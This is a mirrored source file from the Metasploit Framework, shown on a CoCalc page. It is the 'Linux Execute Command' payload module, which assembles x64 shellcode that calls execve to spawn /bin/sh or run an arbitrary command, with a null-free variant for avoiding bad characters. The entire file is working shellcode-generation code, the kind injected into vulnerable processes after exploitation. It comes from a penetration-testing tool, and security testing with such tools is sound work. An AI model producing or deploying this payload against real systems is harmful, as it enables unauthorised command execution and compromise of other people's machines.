Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/x64/exec.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 44
8
9
include Msf::Payload::Single
10
include Msf::Payload::Linux::X64::Prepends
11
12
def initialize(info = {})
13
super(
14
merge_info(
15
info,
16
'Name' => 'Linux Execute Command',
17
'Description' => 'Execute an arbitrary command or just a /bin/sh shell',
18
'Author' => [
19
'ricky',
20
'Geyslan G. Bem <geyslan[at]gmail.com>'
21
],
22
'License' => MSF_LICENSE,
23
'Platform' => 'linux',
24
'Arch' => ARCH_X64
25
)
26
)
27
28
register_options(
29
[
30
OptString.new('CMD', [ false, 'The command string to execute' ]),
31
]
32
)
33
register_advanced_options(
34
[
35
OptBool.new('NullFreeVersion', [ true, 'Null-free shellcode version', false ])
36
]
37
)
38
end
39
40
def generate(_opts = {})
41
cmd = datastore['CMD'] || ''
42
nullfreeversion = datastore['NullFreeVersion']
43
44
if cmd.empty?
45
#
46
# Builds the exec payload which executes a /bin/sh shell.
47
# execve("/bin/sh", NULL, NULL)
48
#
49
if nullfreeversion
50
# 22 bytes (null-free)
51
payload = <<-EOS
52
mov rax, 0x68732f6e69622f2f
53
cdq ; edx = NULL
54
55
push rdx
56
push rax
57
push rsp
58
pop rdi ; "//bin/sh"
59
60
push rdx
61
pop rsi ; NULL
62
63
push 0x3b
64
pop rax
65
66
syscall ; execve("//bin/sh", NULL, NULL)
67
EOS
68
69
else
70
# 21 bytes (not null-free)
71
payload = <<-EOS
72
mov rax, 0x68732f6e69622f
73
cdq ; edx = NULL
74
75
push rax
76
push rsp
77
pop rdi ; "/bin/sh"
78
79
push rdx
80
pop rsi ; NULL
81
82
push 0x3b
83
pop rax
84
85
syscall ; execve("/bin/sh", NULL, NULL)
86
EOS
87
end
88
else
89
#
90
# Dynamically builds the exec payload based on the user's options.
91
# execve("/bin/sh", ["/bin/sh", "-c", "CMD"], NULL)
92
#
93
pushw_c_opt = 'dd 0x632d6866' # pushw 0x632d (metasm doesn't support pushw)
94
95
if nullfreeversion
96
if cmd.length > 0xffff
97
raise RangeError, 'CMD length has to be smaller than %d' % 0xffff, caller
98
end
99
100
if cmd.length <= 0xff # 255
101
breg = 'bl'
102
else
103
breg = 'bx'
104
if (cmd.length & 0xff) == 0 # let's avoid zeroed bytes
105
cmd += ' '
106
end
107
end
108
mov_cmd_len_to_breg = "mov #{breg}, #{cmd.length}"
109
110
# 48 bytes without cmd (null-free)
111
payload = <<-EOS
112
mov rax, 0x68732f6e69622f2f
113
cdq ; edx = NULL
114
115
jmp tocall ; jmp/call/pop cmd address
116
afterjmp:
117
pop rbp ; *CMD*
118
119
push rdx
120
pop rbx
121
#{mov_cmd_len_to_breg} ; mov (byte/word) (bl/bx), cmd.length
122
mov [rbp + rbx], dl ; NUL '\0' terminate cmd
123
124
push rdx
125
#{pushw_c_opt}
126
push rsp
127
pop rsi ; "-c"
128
129
push rdx
130
push rax
131
push rsp
132
pop rdi ; "//bin/sh"
133
134
push rdx ; NULL
135
push rbp ; *CMD*
136
push rsi ; "-c"
137
push rdi ; "//bin/sh"
138
push rsp
139
pop rsi ; ["//bin/sh", "-c", "*CMD*"]
140
141
push 0x3b
142
pop rax
143
144
syscall ; execve("//bin/sh", ["//bin/sh", "-c", "*CMD*"], NULL)
145
tocall:
146
call afterjmp
147
db "#{cmd}" ; arbitrary command
148
EOS
149
else
150
# 37 bytes without cmd (not null-free)
151
payload = <<-EOS
152
mov rax, 0x68732f6e69622f
153
cdq ; edx = NULL
154
155
push rax
156
push rsp
157
pop rdi ; "/bin/sh"
158
159
push rdx
160
#{pushw_c_opt}
161
push rsp
162
pop rsi ; "-c"
163
164
push rdx ; NULL
165
call continue
166
db "#{cmd}", 0x00 ; arbitrary command
167
continue:
168
push rsi ; "-c"
169
push rdi ; "/bin/sh"
170
push rsp
171
pop rsi ; ["/bin/sh", "-c", "*CMD*"]
172
173
push 0x3b
174
pop rax
175
176
syscall ; execve("/bin/sh", ["/bin/sh", "-c", "*CMD*"], NULL)
177
EOS
178
end
179
end
180
Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string
181
end
182
end
183
184